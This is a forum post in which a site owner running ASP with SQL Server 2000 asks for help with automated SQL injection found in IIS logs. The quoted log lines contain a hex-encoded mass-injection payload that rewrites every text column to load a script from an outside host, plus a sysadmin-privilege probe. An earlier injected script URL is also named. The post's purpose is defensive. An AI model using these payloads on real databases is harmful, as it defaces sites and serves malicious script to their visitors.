sql注入问题,很是烦,高手请进

jackey_822 jackey_822 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区
我的网站最近有时反应速度很慢,查看服务器CPU常是100%,程序代码一向正常可以肯定没有死循环之类的错误,所以我怀疑有人在攻击,查看IIS日志,有以下异常代码:
15:43:57 GET /news/search.asp page=1&bid=18&sid=6;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 302 0 0

16:09:16 GET /trade/trade.asp id=12108%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 210.83.80.137 - 302 0 0

由于字数不够
我只选 了其中两条,类似这样的记录每小时都有好几条。我知道这是SQL注入,其中的sql语句是转码了的,后来我干脆封了这个IP,但还是每天都有。从日志上分析似乎不是人为手动注入的,因为从0点到晚上23点每小时都有这样的记录。
哪位有过类似经验的大哥能给小弟分析一下
并且怎么才能把这段代码转码过来呢?
注:网站用的是asp+SQL2000 曾有数据库注入http://3b3.org/c.js代码,但已经成功解决此问题。网站日IP:3000左右,PV近30000。 以前CPU很正常,程序可以肯定没有死循环等问题。
...全文
评论 8
收藏 已收藏
分享
返回顶部
jackey_822
ASP 28,401 成员 356,940 内容